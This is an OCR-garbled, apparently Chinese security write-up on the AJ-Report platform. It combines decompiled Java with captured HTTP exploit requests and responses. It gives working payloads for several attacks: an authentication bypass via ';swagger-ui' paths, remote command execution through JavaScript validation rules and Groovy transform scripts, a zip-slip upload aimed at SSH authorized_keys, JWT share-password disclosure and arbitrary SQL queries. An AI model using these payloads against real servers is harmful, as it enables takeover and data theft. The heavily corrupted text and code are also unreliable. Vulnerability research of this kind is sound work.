0x01 filter %2

com.anjiplus.template.gaea.business.filter.TokenFilter.java

@0verride

doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)

IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest
HttpServletResponse response = (HttpServletResponse) servletResponse
String uri = request.getRequestURI()

TODO &

(C .equalsIgnoreCase(request.getMethod())) {

filterChain.doFilter(request, response)

Curi.contains( ) Il uri.contains(

filterChain.doFilter(request, response)
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com.anji.plus.gaea.curd.controller.GaeaBaseController#pageList



@GetMapping({
@Permission(

code
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@GaeaAuditlLog
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ResponseBean pagelList(P param) {
IPage<T> iPage = .getService().page(param)
List<T> records = iPage.getRecords()
List<D> list = GaeaBeanUtils. copylList(records .getDT0() .getClass())

uanew 3

.pageResultHandler(list)
Page<D> pageDto = Page()
pageDto.setCurrent(iPage.getCurrent()).setRecords(list).setPages(iPage.getPages()).setTotal(iPage.getTotal()).setSize(iPage.getSize())

.responseSuccessWithData(pageDto)

E#xEifdataSourcefE R, ASEDEEEEEREME, ERGHF
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verride
Page<T> setRecords(List<T> records) {

= records

List<T> = Collections.emptylList()
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Pretty Raw Hex Markinfo Chinese \n = Pretty Raw Hex Render Markinfo Chinese \n =

ﬂ 1 GET /;swagger-ui/dataSource/pagelList?showMoreSearch= "id":2,

| false&pageNu =1&pageSize=10 HTTP/1.1 "createBy":"admin",
ﬂ 2 Host: 127.0.0.1: 5 "createByView" :null,

| 3 sec-ch-ua: " Not A; nd";v="99", "Chromium";v="104" "createTime":"2024-05-17 17:34:16",
9 4 Accept: application/js text/plain, /% "updateBy":"admin",

| 5 sec-ch-ua-mobile: 70 "updateByView":null,
ﬁ 6 User-Agent: Mozilla/5.0 (Win NT 10.0; Win64; x64) "updateTime":"2024-05-17 17:34:16",
H AppleWebKit/537.36 (KHTML, like Gecko) "version":1,

1 Chrome/104.0.5112.102 Safari/537.36 "sourceCode":"utf_8",
H 7 sec-ch-ua-platform: "mac0S" "sourceName":"1111",

| 8 Origin: http://127.0.0.1:9528 "sourceDesc":"",
H 9 Sec-Fetch-Site: same-site "sourceType":"mysql",

|10 Sec-Fetch-Mode: cors “sourceConfig":
dll Sec-Fetch-Dest: empty "{\"driverName\":\"com.mysql.cj.jdbc.Driver\",\"
ilz Referer: http://127.0.0.1:9528/ jdbcUr\":\"jdbc:mysql://127.0.0.1:3306/aj_repor
%13 Accept-Encoding: gzip, deflate t?useUnicode=true&characterEncoding=UTF-8&server
|14 Accept-Language: zh-CN,zh;q=0.9 Timezone=GMT%2B8\",\"username\":\"root\",\"passw
?15 Connection: close ord\":\"root\"}",

16 "enableFlag":1,
%17 "deleteFlag":@,

| "jdbcUrl":null,
q "username":null,
d "password":null,

1 "“driverName":null,
H "sql":null,

1 "apiUrl":null,
H “method":null,

| "“"header":null,
H "body" :null,

|

"dunSentence' *null

ZE—T, ANUZREBEEKSZG

/ ;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10

0x03 jsITam<
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com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServicelmpl#testTransform

m


https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w
https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w

@0verride
OriginalDataDto testTransform(DataSetDto dto) {
String dynSentence = dto.getDynSentence()

OriginalDataDto originalDataDto = OriginalDataDto()
String sourceCode = dto.getSourceCode()

DataSource dataSource
(dto.getSetType().equals(SetTypeEnum. .getCodeValue())) {

dataSource = DataSource()
dataSource.setSourceConfig(dynSentence)
dataSource.setSourceType(JdbcConstants. )}
String body = JSONObject.parseObject(dynSentence).getString(
(StringUtils. isNotBlank(body)) {
dynSentence = body
{

dynSentence

{

dataSource = .selectOne( sourceCode)

verification = .verificdtion(dto.getDataSetParathoList()
(!verification) {
BusinessExceptionBuilder. build(ResponseCode.
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@0verride
verification(List<DataSetParamDto> dataSetParamDtolList, Map<String, Object> contextData) {
== dataSetParamDtoList || dataSetParamDtolList.size() == 0) {

eseqeleq (()

Sswodpuz S

(DataSetParamDto dataSetParamDto : dataSetParamDtolList) {
C I= contextData) {
String value = contextData.getOrDefault(dataSetParamDto.getParamName() ).toString()
dataSetParamDto.setSampleItem(value)

Object verification = verifidation(dataSetParamDto)
(verification Boolean) {
(!(Boolean) verification) {

1= contextData) {
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Object herification(DataSetPuratho dataSetParamDto) {

String validationRules = dataSetParamDto.getValidationRules()
(StringUtils. isNotBlank(validationRules)) {
{
.eval(validationRules)
Invocable){
Invocable invocable = (Invocable)
Object exec = invocable.invokeFunction( dataSetParamDto)
ObjectMapper objectMapper = ObjectMapper()
(exec Boolean) {

objectMapper.convertValue(exec, Boolean.

objectMapper.convertValue(exec, String.

RIEHAT.
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com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.JsTransformServiceImpl#getV
alueFromJs.java

List<JSONObject> getValudFromJs(DataSetTransfortho def, List<JSONObject> data) {
String js = def.getTransformScript()
{
.eval(js)
Invocable){
Invocable invocable = (Invocable)
Object dataTransform = invocable.invokeFunction(
(dataTransform List) {
(List<JSONObject>) dataTransform

ScriptObjectMirror scriptObjectMirror = (ScriptObjectMirror) dataTransform
List<JSONObject> result = Arraylist<()

scriptObjectMirror.forEach((Ckey, value) -> {
ScriptObjectMirror valueObject = (ScriptObjectMirror) value
JSONObject jsonObject = JSONObject()
jsonObject.putAll(valueObject)
result.add(jsonObject)




Request Response e HopE L T
Pretty Raw Hex Chinese = N = Pretty Raw Hex Render Markinfo Chinese \n = Request Attributes
1 POST /dataSet/testTransform;swagger-ui HTTP/1.1 1 HTTP/1.1 200
2 Host: 127.0.0.1:9095 2 Access-Control-Allow-Credentials: true Request Query Parameters
3 Content-Length: 515 3 Access-Control-Allow-0Origin: http://127.0.0.1:9528
4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" 4 Access-Control-Allow-Methods: * .
5 Accept: application/json, text/plain, */% 5 Access-Control-Allow-Headers: * Request Cookies
6 Content-Type: application/json;charset=UTF-8 6 Access-Control-Expose-Headers: x
7 sec-ch-ua-mobile: 70 7 Content-Type: application/json;charset=UTF-8 Request Headers
8 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) 8 Date: Sat, 18 May 2024 08:30:30 GMT
AppleWebKit/537.36 (KHTML, like Gecko) 9 Connection: close
Chrome/104.0.5112.102 Safari/537.36 10 Content-Length: 86 Hesponse Headen
9 sec-ch-ua-platform: "mac0S" 11
0 Origin: http://127.0.0.1:9528 12 {
1 Sec-Fetch-Site: same-site "code":"4005",
2 Sec-Fetch-Mode: cors "message":"#TjsKM, null",
3 Sec-Fetch-Dest: empty "args": [
4 Referer: http://127.0.0.1:9528/ null
5 Accept-Encoding: gzip, deflate 1,
6 Accept-Language: zh-CN,zh;q=0.9 "ext":null,
7 Connection: close "data":null
8 }
9 {
"dynSentence":
"{\"apiUr\\":\"http://127.0.0.1:9095/dataSet/testTrans | NOR  XOR
form\",\"method\" :\"GET\",\"header\":\"{\\\"Content-Ty
pe\\\":\\\"application/json;charset=UTF-8\\\"}\",\"bod << >> 7
AREANANS AU
"dataSetParamDtoList": [ |
| X<<Y X>>Y 4
"paramNam
"paramDes
"paramType ?ﬁﬂ%
"sampleItem" "
"mandatory":true,
"requiredFlag":2,
"validationRules":
"function dataTransform(){\nvar x=java.lang.Runtim
e.getRuntime().exec(\"open -a calculator\")\n}"
¥
1,
"'dataSetTransformDtoList": [
"transformType":"js"
A, N P A ao A\, N P P
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Content-Type: application/json;charset=UTF-8

sec-ch-ua-mobile: 70
User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)

"paramDesc’
"paramType'
"samplelte ’
"mandatory":true,
"requiredFlag":2,
"validationRules":
"function dataTransform(){\nvar x=java.lang.Runtim
e.getRuntime().exec(\"open -a calculator\")\n}"
}
1,
"dataSetTransformDtoList": [

"transformType

ningsh,
"transformScript":""
1,

}
"setType":"http"

RXEMMSEHAN, BRAFHESE,

HTTP/1.1 200

1

2 Access-Control-Allow-Credentials: true

3 Access-Control-Allow-Origin: http://127.0.0.1:9528
4 Access-Control-Allow-Methods: *

5 Access-Control-Allow-Headers: *
6
7
8

Request Query Parameters

Chrome/104.0.5112.102 Safari/537.36 Request Cookies

9 sec-ch-ua-platform: "mac0S" Access-Control-Expose-Headers:
0 Origin: http://127.0.0.1:9528 Content-Type: application/json;charset=UTF-8 Request Headers
1 Sec-Fetch-Site: same-site Date: Sat, 18 May 2024 08:30:30 GMT
2 Sec-Fetch-Mode: cors 9 Connection: close
3 Sec-Fetch-Dest: empty 10 Content-Length: 86 Response Headers
4 Referer: http://127.0.0.1:9528/ 11
5 Accept-Encoding: gzip, deflate 12 {
6 Accept-Language: zh-CN,zh;q=0.9 "code":"4005",
7 Connection: close "message" :"#4TjskM, null",
8 "args": [
9 { null

"dynSentence": 1,

"{\"apiUrl\":\"http://127.0.0.1:9095/dataSet/testTrans "ext":null,

form\",\"method\":\"GET\",\"header\":\"{\\\"Content-Ty "data":null

pe\\\":\\\"application/json;charset=UTF-8\\\"}\",\"bod }

y\"a\"\"},

"dataSetParamDtoList": [

{
"paramName"



{"dynSentence":
{\"apiUrl\":\"http://127.0.0.1:9095/dataSet/testTransform\",\"method\":\"GET\",\"header
\V":\"{\\\"Content-Type\\\":\\\"application/json;charset=UTF-

S8\\\"}\",\"body\":\"\"}", "dataSetParamDtoList":

, "paramType":"", "sampleItem":

[{"paramName":"", "paramDesc": , "mandatory":true, "requir
edFlag":2,"validationRules":"function dataTransform(){\nvar
x=java.lang.Runtime.getRuntime().exec(\"open -a
calculator\")\n}"}]1,"dataSetTransformDtoList":

[{"transformType":"js", "transformScript":""}], "setType":"http"}

0x04 validationRules f <17

com.anjiplus.template.gaea.business.modules.datasetparam.controller.DataSetParamController#verificatio
n, java

HLE FEMANE, BN, AiEEReval,

@PostMapping( )

ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
DataSetParamDto dto = DataSetParamDto()
dto.setSampleItem(param.getSampleItem())
dto.setValidationRules(param.getValidationRules())
responseSuccessWithData( 5 (dto))

com.anjiplus.template.gaea.business.modules.datasetparam.service.impl.DataSetParamServicelmpl#verific
ation(com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto)

@0verride

Object verification(DataSetParamDto dataSetParamDto) {

String validationRules = dataSetParamDto.getValidationRules()
(StringUtils. isNotBlank(validationRules)) {
{
.eval(validationRules)
Invocable){
Invocable invocable = (Invocable)

Object exec = invocable.invokeFunction( dataSetParamDto)

ObjectMapper objectMapper = ObjectMapper()

(exec Boolean) {

objectMapper.convertValue(exec, Boolean.

objectMapper.convertValue(exec, String.

SNSEHE, BHd, BEEMT.
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{"sampleItem":"1","validationRules":"function verification(data){var se=

Hex Chinese

POST /dataSetParam/verification;swagger-ui HTTP/1.1
Host: 127.0.0.1:9095
Content-Length: 366

sec-ch-ua: " Not A;Brand";v="99",
sec-ch-ua-mobile: 70
Content-Type: application/json;charset=UTF-8

Accept: application/json, text/plain, =/

User-Agent: Mozilla/5.@0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36

Share-Token:

sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:9528

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:9528/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

"Chromium";v="104"

{

"sampleItem":"1",

"validationRules":

"function verification(data){var se= new javax.script.
ScriptEngineManager();var r = se.getEngineByExtension(
\"js\").eval(\"new java.lang.ProcessBuilder('whoamil').
start().getInputStream();\");result=new java.io.Buffer
edReader(new java.io.InputStreamReader(r));ss='"';while
((line = result.readLine()) != null){ss+=line};return
ss; "

B n =

Response

Pretty Raw
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Hex MarkInfo Chinese

HTTP/1.1 200

Access-Control-Allow-Credentials: true
Access-Control-Allow-0Origin: http://127.0.0.1:9528
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: x*
Access-Control-Expose-Headers: *

Content-Type: application/json;charset=UTF-8

Date: Sat, 18 May 2024 08:35:49 GMT

Connection: close

Content-Length: 77

{
"code":"200",
"message" : "#R{FRLIN",
"args":null,
"ext":null,
"data":"snake"

javax.script.ScriptEngineManager();var r

new

java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new

java.io.BufferedReader (new java.io.InputStreamReader(r));ss='"';while((line =

result.readLine())

0x05 zip-spilf

!= null){ss+=line};return ss;}"}

B n =

Inspector

Request Attribu
Request Query
Request Cookie
Request Heade

Response Heac

se.getEngineByExtension(\"js\").eval(\"new

com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDa
shboard.java

@PostMapping( )

'mission(code = name = )
ResponseBean impo thshboard(uRequeizP( am(
.importDashboard(file

ResponseBean. builder().build()

X zEgcontroller, {&fileifit{alcodemisF

) MultipartFile file
reportCode)

@PathVariable( ) String reportCode) {

com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServicelmpl#impo
rtDashboard SCHE



@0verride
@Transactional(rollbackFor = Exception. )
importDashboard(MultipartFile file, String reportCode) {
.info( reportCode)

String path = + UuidUtil.generateShortUuid()

FileUtil.decompress(file, path)

File parentPath = File(path)

File firstFile = parentPath.listFiles()[@]

File[] files = firstFile.listFiles()

Map<String, String> fileMap = HashMap<>()

String content =

decompress(ZipFile zip, String dstPath) {
.info( zip.getName(), dstPath)
File pathFile = File(dstPath)
(!pathFile.exists()) {
pathFile.mkdirs()

(Enumeration entries = zip.entries(); entries.hasMoreElements(); ) {
ZipEntry entry = (ZipEntry) entries.nextElement()
String zipEntryName = entdyAgetName()
InputStream in =
OutputStream out =
{
in = zip.getInputStream(entry)
String outPath = (dstPath + + zipEntryName).replaceAll(

File file = FileCoutPath.substring( outPath. lastIndex0f(
(Ifile.exists()) {
file.mkdirs()

FileCoutPath).isDirectory()) {

RABWzZIipEntry#1T../ T8, SHZipERFiH.
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'/

B authorized_keys

: config ALK i MIME type  Extension Title
id_rsa 2023/12/1° g
- ' JSON
B id_rsa.pub :
B known_hosts f 1 30
B known_hosts.bak 3
B known_hosts.old F4F3:44 6 KB JSON
script is
JSON is
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Request Attributes

Trv . e e e

HTTP/1.1 200

pbil9.hTAvoy69RLL-Kd4HzB1t8cCbm91nPe lOKBYMjGIEP7g 1 ;
6 Content-Type: multipart/form-data; CACces SO TR0 A oW et Ta s smrnue Request Body Paramet
boundary=----WebKitFormBoundaryjBvOhdgCOfYX31Ut 3 Access-Control-Allow-0rigin: http://127.0.0.1:9528
7 sec-ch-ua-mobile: 70 4 Access-Control-Allow-Methods: *
8 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; 5 Access-Control-Allow-Headers: x i e
x64) AppleWebKit/537.36 (KHTML, like Gecko) 6 Access-Control-Expose-Headers:
Chrome/104.0.5112.102 Safari/537.36 7 Content-Type: application/json;charset=UTF-8 Response Headers
9 sec-ch-ua-platform: "mac0S" 8 Date: Sat, 18 May 2024 08:50:26 GMT
10 Accept: */x 9 Connection: close
11 Origin: http://127.0.0.1:9528 10 Content-Length: 75
12 Sec-Fetch-Site: same-site 11
13 Sec-Fetch-Mode: cors 12 {
14 Sec-Fetch-Dest: empty "'code":"500",
15 Referer: http://127.0.0.1:9528/ “message":"RHAFE",
16 Accept-Encoding: gzip, deflate "a:gi“:[
17 Accept-Language: zh-CN,zh;q=0.9 o
18 Connection: close 1,
19 "ext":null,
20 —————- WebKitFormBoundaryjBvOhdgCofYX31Ut "data":null
21 Content-Disposition: form-data; name= le"; ¥
filename="zip_Slip.zip"
22 Content-Type: application/zip
23
24 PKX}X2.u/uu/eu/uu/uu/u/Users/~=2" ,.ssh/authorized_
keys® GOEGGHOOONCH,0]"00 EGO
GOK_70s0006663006200 ! 9X1ubGOmE>00LR; 6665GE6WTSpaEE, L
9000060V +0666666esPEIGEE | UU0_10100_0060+ (00000T) 005
nf”~
M &3 €| [ search Omatches | (?) €05 | &[] | Saamh 0 matches

AlEssh IEETIAEE,
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com.anjiplus.template.gaea.business.modules.reportshare.controller.ReportShareController#detailByCode

@GetMapping({ 19)

@Permission(code = name = )
ResponseBean detailByCode(@RequestParam( ) String shareCode) {
ResponseBean. builder() .data( .detailByCode(shareCode)).build()




arride
ReportShare detailByCode(String shareCode) {
LambdaQueryWrapper<ReportShare> wrapper = Wrappers. lambdaQuery()
irapper.eq(ReportShare: :getShareCode, shareCode)
rapper.eq(ReportShare: :getEnableFlag, EnableFlagEnum. .getCodeValue())
ReportShare reportShare = selectOne(wrapper)
(¢ == reportSha {

BusinessExceptionBuilder.build(ResponseCode.

String password = JwtUtil.getPassword(reportShare.getShareToken())
(StringUtils. isNotBlank(password)) {

reportShare.setSharePassword(MD5Util. encrypt(password))

reportShare

RiEshareCodeFIDERBIEWER, AENEEEZKE

Pre Raw Hex Chinese LLLE— Pretty Raw Hex endae Markinto Chinese ALLE—

i Reque:
1 GET /reportShare/detailByCode?shareCode=9F8d16GN 1 HTTP/1.1 200
HTTP/1.1 2 Access-Control-Allow-Credentials: true Reque
2 Host: 127.0.0.1:9095 3 Access-Control-Allow-0Origin: http://127.0.0.1:9528
3 sec-ch-ua: " Not A;Brand";v="99"N!'Chromium";v="104" 4 Access-Control-Allow-Methods: *
4 Accept: application/json, text/plai 5 Access-Control-Allow-Headers: * Reque:
5 sec-ch-ua-mobile: 70 6 Access-Control-Expose-Headers: x
6 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) 7 Content-Type: application/json;charset=UTF-8 Reque:
AppleWebKit/537.36 (KHTML, like Gecko) 8 Date: Sat, 18 May 2024 ©08:55:19 GMT
Chrome/104.0.5112.102 Safari/537.36 9 Connection: close Reque:
7 sec-ch-ua-platform: "mac0S" 10 Content-Length: 719
8 Origin: http://127.0.0.1:9528 11
9 Sec-Fetch-Site: same-site 12 { Respo
0 Sec-Fetch-Mode: cors "code":"200",
1 Sec-Fetch-Dest: empty "message" :"#{ERIN",
2 Referer: http://127.0.0.1:9528/ "args":null,
3 Accept-Encoding: gzip, deflate "ext":null,
4 Accept-Language: zh-CN,zh;q=0.9 "data":{
5 Connection: close "id":3,
6 "createBy":"admin",
7 "createTime":"2024-05-17 15:41:57",

"updateBy":"admin",

"updateTime":"2024-05-17 15:41:57",

"version'":1,

“"rowIndex":null,

"shareCode":"9F8d16GN",

"shareValidType":0,

"“shareValidTime'":"2098-12-31 16:00:00",
"shareToken":
"eyl0eXAi0iJKV1QiLCIhbGci0iJIUZzI1INiJ9.eyJzaGFyZUNvVZG
Ui0iI5RjhkbDZHTiIsInJ1cG9ydENVZGUiOiIXMTEiLCI1leHALO]j
QwNzA40DAWMDASImLhdCI6MTcxNTKk2MDUxNiwic2hhcmVQYXNzd2
9yZCI6InglcmwifQ.8XyS2Uvfb6II41d80tGiYXAZmdapL6YPeXh
YF1Yzm9@",
"“shareUrl":"http://127.0.0.1:9528/#/aj/9F8d16GN",
"reportCode":"111",

"enableFlag":1,

"deleteFlag":0,
"sharePassword":"b9739clelba3b6b4f3cf84c878f0ed8b",
"sharePasswordFlag":false,

"“reportType":null

JWERT A B 2R



eyJ0eXAi0iJKV1QiLCIhbGci0iJIUzI1INiJ9.eylzaGFyZUNvZGUi0iIOMU14ZjN1ZyIsIn]lcG9ydENVZGUiOiIXMTE
iLCI1eHA10jQwNzA40DAWMDASImLhdCIGMTcxNTk2MDQWMSwic2hhemVQYXNzd29yZCI6ImZ1dnEifQ.DQbTdQINL7 Tt
aYg-rKKoTEpzBnUTF7eAYNq5u2Zilsw

time: 2ms

Output ewt: 31 @ 0 G £

lines:
{

"shareCode": "41Mxf3ug",
"reportCode": "111",
"exp'": 4070880000,
"iat": 1715960401,
"sharePassword": "fuvq"

ERFIMIRG O EE,
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com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServicelmpl#testTransform

dynSentence = .transform(dto.getDataSetParamDtoList(), dynSentence)

DataSourceDto dataSourceDto = DataSourceDto()

BeanUtils. copyProperties(dataSource, dataSourceDto)
dataSourceDto.setDynSentence(dynSentence)
dataSourceDto.setContextData(setContextData(dto.getDataSetParamDtoList()))

Map<String, Object> collect = dto.getDataSetParamDtoList().stream().collect(Collectors. toMap(DataSetParamDto: :getParamName
DataSetParamDto: :getSampleItem))
(collect. containsKey( ) && collect.containsKey( N {
dto.setContextData(collect)
total = .total(dataSourceDto, dto)
originalDataDto.setTotal(total)

List<JSONObject> data = .execute(dataSourceDto)

List<JSONObject> transform = .transform(dto.getDataSetTransformDtoList(), data)

originalDataDto.setData(transform)

originalDataDto
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com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.DataSetTransformServicelmpl
#transform

® @Qverride

List<JSONObject> transform(List<DataSetTransformDto> dataSetTransformDtolList, List<JSONObject> data) {
(dataSetTransformDtoList == || dataSetTransformDtoList.size() <= @) {
data

(DataSetTransformDto dataSetTransformDto : dataSetTransformDtolList) {
data = getTarget(dataSetTransformDto.getTransformType()).transform(dataSetTransformDto, data)

data

com.anjiplus.template.gaea.business.modules.datasettransform.service.impl.GroovyTransformServicelmpl
#transform

@0verride
List<JSONObject> transform(DataSetTransformDto def, List<JSONObject> data) {
String transformScript = def.getTransformScript()
Class<?> clazz = .parseClass(transformScript)
(clazz !'= ) {
{
Object instance = clazz.newInstance()
(instance!= ) {
(instance IGroovyHandler) {
IGroovyHandler handler = (IGroovyHandler) instance
handler.transform(data)
{
System. .println(

(Exception e) {
.info( e)
BusinessExceptionBuilder.build(ResponseCode. e.getMessage())

g a¥E|GroovyClassLoader, #1748, tWEHAE —1E£LaGroovyClassLoaderin&FMiF 7

package com.anjiplus.template.gaea.business;

import com.alibaba.fastjson.JSONObject;
import

com.anjiplus.template.gaea.business.modules.datasettransform.service.IGroovyHandler;

import java.io.IOException;
import Jjava.lang.Runtime;
import java.util.Arrays;

import java.util.List;



import java.util.Scanner;

public class test implements IGroovyHandler {

@Ooverride

public List<String> transform(List<JSONObject> data) throws IOException {

String execResult = new

Scanner (Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

return Arrays.asList(execResult.split("\\s+"));

|15 Accept-Encoding: gzip, deflate

16 Accept-Language: zh-CN,zh;q=0.9

|17 Connection: close

|18

119 {

| "dynSentence":

"{\"apiUrl\":\"http://127.0.0.1:9095/dataSet/testTrans

form\",\"method\":\"GET\",\"header\":\"{\\\"Content-Ty

pe\\\":\\\"application/json;charset=UTF-8\\\"}\",\"bod

y\"i\"\"}",

"dataSetParamDtoList": [

{

| "mandatory":true,

| "paramDesc" '
"paramName"
"paramType":"",
"requiredFlag":1,
"sampleItem":"",
"validationRules":""

}

]I
"dataSetTransformDtoList": [
{
"transformType":"javaBean",
"transformScript":
"import com.alibaba.fastjson.JSONObject;\nimport c
om.anjiplus.template.gaea.business.modules.dataset
| transform.service.IGroovyHandler;\n\nimport java.i
| o.I0Exception;\nimport java.lang.Runtime;\nimport
java.util.Arrays;\nimport java.util.List;\nimport
java.util.Scanner;\n\npublic class test implement
s IGroovyHandler {\n @Override\n public Lis
<String> transform(List<JSONObject> data) throw
OException {\n String execResult = ne
ner(Runtime.getRuntime().exec(\"echo 'rce sucess|'\
").getInputStream()).useDelimiter(\"\\\\A\").next(
| )i\n return Arrays.asList(execResult.split(
| \"\\\\s+\"));\n \n}"
}
1,
"setType":"http"

0x08 jwt 55t & F

com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServicelmpl#login

HTTP/1.1 200

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://127.0.0.1:9528
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers:
Access-Control-Expose-Headers: *

Content-Type: application/json;charset=UTF-8

Date: Sat, 18 May 2024 09:26:24 GMT

Connection: close

Content-Length: 107

{
"code":"200",
"message" : " {2{ERLIN",
"args":null,
"ext":null,
"data":{

"total":@,

"data": [
“'rce",
"sucess

Request Qu

Request Cc

Request He

Response |



BusinessExceptionBuilder.build(ResponseCode.

String tokenKey = String. format(BusinessConstant. loginName)
String token =
GaeaUserDto gaeaUser = GaeaUserDto()
(¢ .exist(tokenKey)) {
token = .stringGet(tokenKey)
{

String uuid = GaeaUtils.UUIDQ)
token = .createToken(loginName, uuid GaeaConstant.
.stringSetExpire(tokenKey, token )

com.anji.plus.gaea.utils.JwtBean#createToken(java.lang.String, java.lang.String, java.lang.Integer,
java.lang.String)

username

String creathoken(String username, String uuid, Integer type, String tenantCode) {

String token = JWT.create()

WwithClaim( username)

withClaim( uuid)

.withClaim( type)

WithClaim( tenantCode)

.sign(Algorithm. HMAC256( .getSecurity().getIwtSecret()))

token

com.anji.plus.gaea.GaeaProperties.Security#jwtSecret

GaeaProperties {

List<String>

Security {




<dependency>
<groupIld>com.anji-plus</groupld>
<artifactId>spring-boot-gaea</artifactId>
<version>2.0.5.RELEASE</version>

<exclusions>

<exclusi Tag name: exclusions
Description : Lists a set of artifacts that
<gro should be excluded from this pId>

<art dependency&apos;s artifact list when it dis</artifactId>
comes to calculating transitive dependencies.

</exclus Version: 4.0.0+ /
X—REEH—T

loginName =

}

String tokenKey = String. format(BusinessConstant. loginName)
String userKey = String. format(BusinessConstant. loginName)

Q .exist(tokenKey)) {

(StringUtils. isNotBlank(shareToken)) {

WHSERRIAF B, RidkeyigiAN, FEEMIE

B {xk&ZE (https://mp.weixin.qgq.com/s/HsH_nEI5SSyOP_Y9QbmOA1Tw)

0x09 sql[a]33

REUEIRMAPNRR, SEEATAELERE, BT Hftersd, M5 HMRIE

com.anjiplus.template.gaea.business.modules.dataset.service.impl.DataSetServicelmpl#testTransform

by (= SN
TEXTR
dynSentence = .transform(dto.getDataSetParamDtoList(), dynSentence)

DataSourceDto dataSourceDto = DataSourceDto()

BeanUtils. copyProperties(dataSource, dataSourceDto)
dataSourceDto.setDynSentence(dynSentence)
dataSourceDto.setContextData(setContextData(dto.getDataSetParamDtoList()))

Map<String, Object> collect = dto.getDataSetParamDtoList().stream().celiect(Collectors. toMap(DataSetParamDto: :getParamName
DataSetParamDto: :getSampleItem))
(collect. containsKey( ) && collect.containsKey( N {
dto.setContextData(collect)
total = .total(dataSourceDto, dto)
originalDataDto.setTotal(total)

List<JSONObject> data = .execute(dataSourceDto)

MDTOEERESH, REEW



https://mp.weixin.qq.com/s/HsH_nEI5SyOP_Y9Qbm0A1w

{"sourceCode":"utf 8", "dynSentence":"show DATABASES", "dataSetParamDtoList":

[1,"dataSetTransformDtoList":[], "setType":"sql"}

Pretty Raw Hex Chinese = Rl
1 POST /dataSet/testTransform;swagger-ui HTTP/1.1

2 Host: 127.0.0.1:9095

3 Content-Length: 123

4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"

5 Accept: application/json, text/plain, */*

6 Content-Type: application/json;charset=UTF-8

7 sec-ch-ua-mobile: 70

8 User-Agent: Mozilla/5.@ (Windows NT 10.@; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:9528
Sec-Fetch-Site: same-site
Sec~Fetch-Mode: cors
Sec-Fetch-Dest: empty

Referer: http://127.0.0.1:9528/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
"sourceCode":"utf_8",
"dynSentence":"show DATABASES",
"dataSetParamDtoList": [
]l
"dataSetTransformDtoList": [
]l
"setType":"sql"

W E P AEZF RsqZ iUk S &3

BEER

EORSHHSE, FTEEflter, —LLEEMIEO, WNPRERSK, f0/dataSource. /dataSet FHYIEO, ERZBF AU
BIE, filteriBINE1Z(FHgetServletPath(), HEEE—T,

WHSINERRESAERMEEE, AN
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NV A WN

o e
N R o

Pretty

Raw Hex

HTTP/1.1 200
Access-Control-Allow-Credentials: true
Access-Control-Allow-0rigin: http://127.0.0.1:9528
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Expose-Headers:
Content-Type: application/json;charset=UTF-8
Date: Sat, 18 May 2024 ©8:38:33 GMT
Connection: close

Content-Length: 884

{

"code":"200",
"message" : "{2{ERIN",
"args":null,

Yext":

null,

"data":{
"total":o,
“data": [

{

}l
{

}l
{

}
{

}l
{

}l
{

.

"Database":

"Database":

"Database":

"Database":

"Database":

"Database":

Render MarkInfo

"information_schema"

"aj_report"

"cboard"

"dubbo-admin"

"dwsurvey"

"eladmin"

Chinese
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